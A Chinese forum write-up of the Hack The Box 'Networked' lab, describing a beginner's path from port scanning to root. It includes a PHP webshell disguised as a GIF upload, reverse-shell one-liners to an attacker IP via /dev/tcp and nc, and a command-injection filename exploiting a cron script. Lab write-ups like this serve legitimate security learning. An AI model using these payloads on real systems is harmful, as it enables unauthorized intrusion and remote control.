首页
社区
课程
招聘
[原创]HTB_Networked从实战靶场学渗透
发表于: 2020-8-2 17:06 1227

[原创]HTB_Networked从实战靶场学渗透

2020-8-2 17:06
1227

偶然从其他公众号接触到了Hack the box ,从此就把它当作了渗透的学习模板
Networked是我的第一个靶场,虽然是easy的级别,但对于小白的我来说,包括工具,shell命令都是当时第一次接触,所以故写出这篇writeup,技术很菜,轻喷
靶场ip:10.10.10.146
攻击机ip:10.10.14.15

nmap -sC -sV 10.10.10.146

图片描述

 

从80端口入手查看其web页面,右键查看源码也未找到有用的信息
图片描述

 

直接使用gobuster去fuzz目录
gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php
图片描述
访问photos.php和uoload.php
图片描述
图片描述
尝试使用文件上传,编写webshell,修改后缀名为.gif
<?php system($_GET['PleaseSubscribe']); ?>
使用Burp抓包
图片描述
访问其他目录寻找突破口
10.10.10.146/backup (该目录同样为gobuster fuzz出来的)
图片描述

wget http://10.10.10.146/backup/backup.tar
tar -xvf backup.tar

卧槽,好像直接找到了网站源码
快速筛选php代码,筛选文件中所有包含$的行(凡是$作为前缀的变量,均为php的超级变量,即内置对象)

grep -Ri '$_' *  (-Ri参数代表关键字搜索)

图片描述

vim upload.php

查找submit对应的地方
/submit
通过submit 找到函数 check_file_type函数,源于文件lib.php
图片描述
函数 file_mime_type()函数进行文件检查 (通过文件标示进行检查,部分文件仅查询标示头)
图片描述
万事俱备,把标示头和shell组合扔上去就好了
图片描述
接下来就是通过photos.php访问我们上传的资源
http://10.10.10.146/uploads/10_10_14_15.php.gif 获取资源所在路径
(以GET方式传递参数)
关于使用的bash shell

bash -i >& /dev/tcp/10.10.14.15/9001 0>&1

(指令详解)
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
(= bash i > /dev/tcp/10.10.14.15/9001 和 bash i < /dev/tcp/10.10.14.15/9001 结合)
使用bash 命令行
-i 采用交互式
">"重定向输出到 指定位置
/dev/tcp/10.10.14.15/9001 ip地址
0>&1 重定向输入
随后在参数中使用url编码 ctrl + u ,本地监听9001端口,getshell

 

以上为getshell的第一阶段


 

升级shell
参考文章:https://www.4hou.com/technology/6248.html
nc反弹的shell很容易中断连接,并且没有正确的tty(终端)与之对应
· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...
所以我们利用以下指令绑定终端升级shell

python -c 'import pty;pty.spawn("/bin/bash")';

生成一个进程,并将其控制终端与当前进程的标准io连接(生成一个控制终端,使其io与当前进程连接)
ctrl+z 挂起当前进程
设置终端tty为RAW模式

stty raw -echo

RAW模式简单说就是发送端发送的二进制码原封不动的被接收端接收
http://www.51testing.com/html/03/n-3714603.html (Raw模式简介)
此时我们的输入是没有回显的
输入 fg
指令解析https://www.cnblogs.com/jiangzhaowei/p/8971265.html

 

图片描述

 

cat crontab.guly

*/3 * * * * php /home/guly/check_attack.php

每3分钟启动一次check_attck.php
查看check_attck.php源码

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
  if ($value == 'index.html') {
    continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

根据我们上传的文件在uploads目录下的文件名10_10_16_83.php.png
getnameCheck函数返回访问ip地址和后缀
如上源码,如果check_ip返回的数组中 第一个参数为false,就会删除目标文件,具体查看check_ip函数具体内容

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

我们通过创建一个 shell 文件名 从而通过check_attack.php中的exec反弹shell

touch -- ';nc -c bash 10.10.16.83 4444;.php'

本机监听4444端口
图片描述

 

同理 升级shell(和上面一样 此处省略)
此处就可以拿到guly用户的flag

 

以上部分为第二阶段


sudo -l

图片描述

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

执行这个脚本 会将内容填充到ifcfg-guly这个文件中
通过 末尾 $var=$x 变量x我们可以控制 从而进行提权
图片描述

 

至此整个过程结束


 

这是自己当时接触的第一个靶场,很多东西都不会,40分钟的视频自己研究了一个礼拜,感觉可能会对其他新手有些帮助!


[课程]Android-CTF解题方法汇总!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢大佬分享,希望出更多的教程
2020-10-11 10:41
0
游客
登录 | 注册 方可回帖
返回
//